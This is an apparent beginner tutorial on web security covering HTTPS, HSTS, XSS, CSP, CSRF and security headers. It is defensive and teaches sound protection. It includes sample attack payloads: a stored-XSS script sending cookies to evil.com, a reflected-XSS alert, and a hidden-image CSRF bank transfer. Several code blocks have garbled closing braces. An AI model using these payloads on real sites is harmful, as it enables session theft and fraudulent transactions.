Skip to content
Home
Web Security: HTTPS, CSP, and XSS Prevention

Web Security: HTTPS, CSP, and XSS Prevention

Web Development Web Development 7 min read 1410 words Beginner ExcellentWiki Editorial Team

Web security is not optional — every public-facing application is under constant attack. Automated scanners probe for vulnerabilities within minutes of deployment, and a single unpatched flaw can lead to data breaches, financial loss, and reputational damage. Understanding the common attack vectors and how to defend against them is essential for every web developer.

This guide covers the most critical web security concepts: HTTPS, XSS, CSRF, CSP, and practical defense strategies.

HTTPS (TLS/SSL)

HTTPS encrypts all data between the client and server, preventing eavesdropping, tampering, and man-in-the-middle attacks.

Why HTTPS Matters

  • Confidentiality — attackers cannot read the data
  • Integrity — data cannot be modified in transit
  • Authentication — clients verify they are talking to the real server
  • SEO — Google ranks HTTPS sites higher
  • Required for HTTP/2 — modern protocols require encryption
  • Required for many browser APIs — service workers, geolocation, etc.

Setting Up HTTPS

# Using Let's Encrypt with Certbot
sudo apt install certbot python3-certbot-nginx
sudo certbot --nginx -d example.com

# Auto-renewal (Certbot adds a systemd timer)
sudo certbot renew --dry-run

HSTS (HTTP Strict Transport Security)

# Nginx config
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

HSTS tells browsers to always use HTTPS for your domain, preventing downgrade attacks.

Cross-Site Scripting (XSS)

XSS occurs when an attacker injects malicious scripts into a web page viewed by other users. It is the most common web vulnerability.

Types of XSS

Stored XSS — malicious script is stored on the server (e.g., in a comment):

<!-- Attacker posts a comment containing: -->
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

<!-- When a user views the comment, the script executes -->

Reflected XSS — malicious script is in the URL or request:

<!-- Attacker crafts a link: -->
https://example.com/search?q=<script>alert('xss')</script>

<!-- The server reflects the search term in the page -->

DOM-based XSS — vulnerability is in client-side JavaScript:

// Unsafe — reads from URL and writes to DOM
const name = new URLSearchParams(window.location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hello, ' + name;

// Safe
document.getElementById('greeting').textContent = 'Hello, ' + name;

XSS Prevention

// 1. Never use innerHTML with user input
// ❌ Unsafe
element.innerHTML = userInput;

// ✅ Safe — use textContent
element.textContent = userInput;

// ✅ Safe — use createTextNode
element.appendChild(document.createTextNode(userInput));

// 2. Use output encoding (template engines do this)
// Handlebars (auto-escaped):
<h1>{{userInput}}</h1>

// React (auto-escaped):
<div>{userInput}</div>

// 3. For HTML you must render, sanitize it
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);

// 4. Set secure cookie flags
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict;

Content Security Policy (CSP)

CSP is a browser security header that controls which resources a page can load. It can block XSS even if your code has vulnerabilities.

# Restrictive CSP
add_header Content-Security-Policy "
  default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src 'self' https://images.example.com;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  form-action 'self';
  base-uri 'self';
" always;

CSP Directives Explained

DirectiveControlsExample
default-srcFallback for all resource types'self'
script-srcJavaScript sources'self' https://cdn.example.com
style-srcCSS sources'self' 'unsafe-inline'
img-srcImage sources'self' data:
connect-srcfetch, XHR, WebSocket'self' https://api.example.com
frame-ancestorsWho can embed the page in an iframe'none'
form-actionWhere forms can submit'self'
base-uriAllowed <base> tag URIs'self'

Nonce-Based CSP (for inline scripts)

# Generate a unique nonce per request
add_header Content-Security-Policy "
  default-src 'self';
  script-src 'self' 'nonce-${NONCE}';
" always;
<script nonce="{{NONCE}}">
  // This inline script will execute
  console.log('Safe inline script');
</script>

<script>
  // This inline script will be blocked
  console.log('Blocked by CSP');
</script>

Cross-Site Request Forgery (CSRF)

CSRF tricks an authenticated user into performing unintended actions. For example, clicking a link that changes their password or transfers money.

How CSRF Works

<!-- Attacker's page contains: -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" width="0" height="0">

<!-- When the victim visits the attacker's page,
     their browser sends the request with their cookies -->

CSRF Prevention

// 1. CSRF tokens (server-side)
// Server generates a token and includes it in forms
app.get('/form', (req, res) => {
  const token = crypto.randomBytes(32).toString('hex');
  req.session.csrfToken = token;
  res.render('form', { csrfToken: token });
---);

app.post('/submit', (req, res) => {
  if (req.body.csrfToken !== req.session.csrfToken) {
    return res.status(403).send('Invalid CSRF token');
  }
  // Process the request
---);

// 2. SameSite cookies
Set-Cookie: session=abc123; SameSite=Strict;

// 3. Custom headers (for API endpoints)
// Require a custom header that JavaScript can set but cross-origin forms cannot
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-Requested-With': 'XMLHttpRequest',
  },
---);

Additional Security Headers

# Prevent MIME type sniffing
add_header X-Content-Type-Options "nosniff" always;

# Prevent clickjacking
add_header X-Frame-Options "DENY" always;

# Enable XSS filter in older browsers (largely obsolete)
add_header X-XSS-Protection "0" always;

# Referrer policy
add_header Referrer-Policy "strict-origin-when-cross-origin" always;

# Permissions policy (formerly Feature-Policy)
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(self)" always;

Input Validation and Output Encoding

// Server-side input validation
const Joi = require('joi');

const schema = Joi.object({
  email: Joi.string().email().required(),
  age: Joi.number().integer().min(0).max(150),
  url: Joi.string().uri(),
---);

// Never trust client-side validation alone
app.post('/user', (req, res) => {
  const { error, value } = schema.validate(req.body);
  if (error) {
    return res.status(400).json({ error: error.message });
  }
  // Process validated data
---);

// SQL injection prevention — always use parameterized queries
// ❌ Unsafe
const query = `SELECT * FROM users WHERE name = '${userInput}'`;

// ✅ Safe
const query = 'SELECT * FROM users WHERE name = $1';
db.query(query, [userInput]);

Security Checklist

  • HTTPS enabled with valid certificate
  • HSTS header set
  • CSP header configured
  • X-Content-Type-Options: nosniff
  • X-Frame-Options: DENY
  • CSRF protection implemented
  • All user input validated and sanitized
  • Parameterized queries for all database operations
  • No secrets in client-side code or repository
  • Secure, HttpOnly, SameSite cookie flags
  • Authentication rate limiting
  • Dependencies regularly updated (npm audit, etc.)

Conclusion

Security is a process, not a feature. Start with HTTPS and security headers, then add CSRF protection, input validation, and CSP. Use parameterized queries to prevent SQL injection, set secure cookie flags, and always sanitize user output. Stay up to date with common vulnerabilities (OWASP Top 10) and patch dependencies regularly.

Related: Check our Responsive Web Design guide.

HTTPS and SSL/TLS

HTTPS encrypts all data between the browser and server. Modern TLS 1.3 provides faster handshakes and removes insecure features. Obtain certificates from Let’s Encrypt (free, automated) or a commercial CA. Implement HSTS (Strict-Transport-Security header) to force browsers to always use HTTPS. Use https:// URLs for all resources — mixed content warnings erode user trust. Tools like SSL Labs test server configuration for compliance with current best practices.

Security Headers Reference

Key security headers: Content-Security-Policy (controls resource loading), X-Frame-Options: DENY (prevents clickjacking), X-Content-Type-Options: nosniff (prevents MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin (controls referrer data), Permissions-Policy (disables unused browser features), and Cross-Origin-Resource-Policy (restricts cross-origin reads).

Web Performance Metrics

Understanding performance metrics helps prioritize optimization efforts. First Contentful Paint (FCP): when the first text or image appears — target under 1.8 seconds. Largest Contentful Paint (LCP): when the main content loads — target under 2.5 seconds. Interaction to Next Paint (INP): responsiveness to user interactions — target under 200 milliseconds. Cumulative Layout Shift (CLS): visual stability — target under 0.1. First Input Delay (FID): time to first interaction — target under 100 milliseconds. Time to First Byte (TTFB): server response time — target under 800 milliseconds. Use Google’s Lighthouse, WebPageTest, and Chrome DevTools to measure these metrics. Real User Monitoring (RUM) captures actual user experiences, which may differ from synthetic tests. Set up dashboards tracking Core Web Vitals and alert when thresholds are breached.

Accessibility Beyond Compliance

Web accessibility ensures your site works for everyone, including people using screen readers, keyboard navigation, or other assistive technologies. WCAG 2.2 guidelines organize requirements into four principles: Perceivable (content must be available to senses), Operable (interface must be usable), Understandable (content and interface must be comprehensible), and Robust (content must work with current and future technologies). Practical steps: use semantic HTML elements (nav, main, aside, article), provide alt text for images, ensure color contrast ratios meet WCAG AA standards (4.5:1 for normal text), support keyboard navigation with visible focus indicators, and test with screen readers (NVDA, VoiceOver, JAWS). Accessibility benefits everyone — captions help users in noisy environments, keyboard navigation helps users with repetitive strain injuries, and high contrast helps users in bright sunlight.

FAQ

What level of expertise is required? The content assumes basic programming knowledge but explains concepts in depth. Beginners may need to reference prerequisite topics.

How do I know if I am implementing this correctly? Write tests that verify behavior, use linters and static analysis, and get code reviews from experienced practitioners.

What are the most common pitfalls? Over-engineering, premature optimization, and neglecting testing are the most frequent mistakes. Start simple, measure, and iterate.

For a comprehensive overview, read our article on Center A Div.

Section: Web Development 1410 words 7 min read Beginner 756 articles in section Report inaccuracy Back to top